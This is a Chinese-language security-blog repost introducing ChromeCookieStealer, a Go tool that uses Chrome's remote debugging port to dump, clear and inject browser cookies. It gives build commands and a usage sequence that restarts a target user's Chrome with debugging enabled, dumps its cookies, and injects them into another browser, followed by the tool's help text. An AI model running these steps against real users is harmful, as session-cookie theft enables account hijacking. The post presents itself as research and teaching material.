关于ChromeCookieStealer
功能介绍
1、转储Chrome浏览器的Cookie数据; 2、将转储的Cookie数据注入到其他Chrome实例中; 3、清理Chrome的Cookie数据; 4、编译过程中支持自定义设置;
工具下载
git
clone
https:
//github.com/magisterquis/chromecookiestealer.git
(向右滑动,查看更多) 然后切换到项目目录中,使用go build命令构建项目源码:
cd
chromecookiestealer
go
build
工具快速使用
构建完成后,执行下列命令即可收集目标用户Chrome浏览器中的Cookie数据:
pkill
Chrome
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome --remote-debugging-port=
9222
--restore-
last
-session
# 需要根据目标情况修改
./chromecookiestealer -dump ./cookies.json
(向右滑动,查看更多) 下列命令可以将转储的Cookie数据注入到研究人员的本地浏览器中:
# 使用一个调试端口启动Chrome,具体可参考上面的命令
./chromecookiestealer -clear -inject ./cookies.json
(向右滑动,查看更多)
工具帮助信息
Usage
: chromecookiestealer [options]
Attaches to Chrome using the Remote DevTools Protocol (
--remote-debugging-port)
and, in order and as requested:
- Dumps cookies
- Clears cookies
- Injects cookies
- Deletes selected cookies
Parameters for cookies to be deleted should be represented as an array of JSON
objects
with
the
following
string
fields
:
name
- 要删除的Cookie名称
url
- 删除跟指定域名或
URL
匹配的所有Cookie
domain
- 仅删除指定域名的Cookie
path
- 仅删除指定路径的Cookie
Filenames may also be
"-"
for
stdin/stdout.
Options:
-chrome
URL
Chrome远程调试
URL
(默认为
"ws://127.0.0.1:9222"
)
-
clear
清理浏览器Cookie
-
delete
file
包含要删除Cookie参数的文件名称
-dump
file
转储Cookie的文件名称
-inject
file
需要注入的包含Cookie的文件名称
-
no
-summary
退出时不打印概述信息
-verbose
启用Verbose日志
(向右滑动,查看更多)
其他编译选项
一般情况下,go build命令足够满足绝大部分用户的需求。如果你需要执行更有针对性的安全测试,可以在编译过程中使用“-ldflags '-X main.Foo=bar'”选项实现自定义配置。
|
|
|
|
|
|
|
|
|
|
许可证协议
项目地址
原文始发于微信公众号(FreeBuf):如何使用ChromeCookieStealer通过开发者工具收集和注入Chrome Cookie
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论